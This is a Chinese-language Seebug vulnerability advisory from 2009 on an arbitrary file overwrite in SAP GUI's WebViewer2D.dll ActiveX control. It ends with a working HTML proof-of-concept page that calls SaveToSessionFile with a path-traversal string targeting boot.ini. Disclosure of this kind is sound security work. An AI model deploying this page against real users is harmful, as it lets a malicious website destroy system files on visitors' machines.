SAPgui WebViewer2D.dll ActiveX控件任意文件覆盖漏洞

2009-09-30T00:00:00
ID SSV:12411
Type seebug
Reporter Root
Modified 2009-09-30T00:00:00

Description

SAPgui是SAP软件的图形用户界面客户端。

SAP GUI所捆绑的EAI WebViewer2D ActiveX组件(WebViewer2D.dll,GUID = {A76CEBEE-7364-11D2-AA6B-00E02924C34E})没有正确地验证用户对SaveToSessionFile函数所传送的参数。如果用户受骗访问了恶意网页并向该函数传送了超长参数的话,就可能覆盖任意系统文件。

SAP Sapgui 7.1 SAP Sapgui 6.4 厂商补丁:

SAP

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.sap.com/

                                        
                                            
                                                <HTML>
<BODY>
<object id=ctrl classid="clsid:{A76CEBEE-7364-11D2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
{
   File = "../../../../../../../../../../../../boot.ini"
   ctrl.SaveToSessionFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>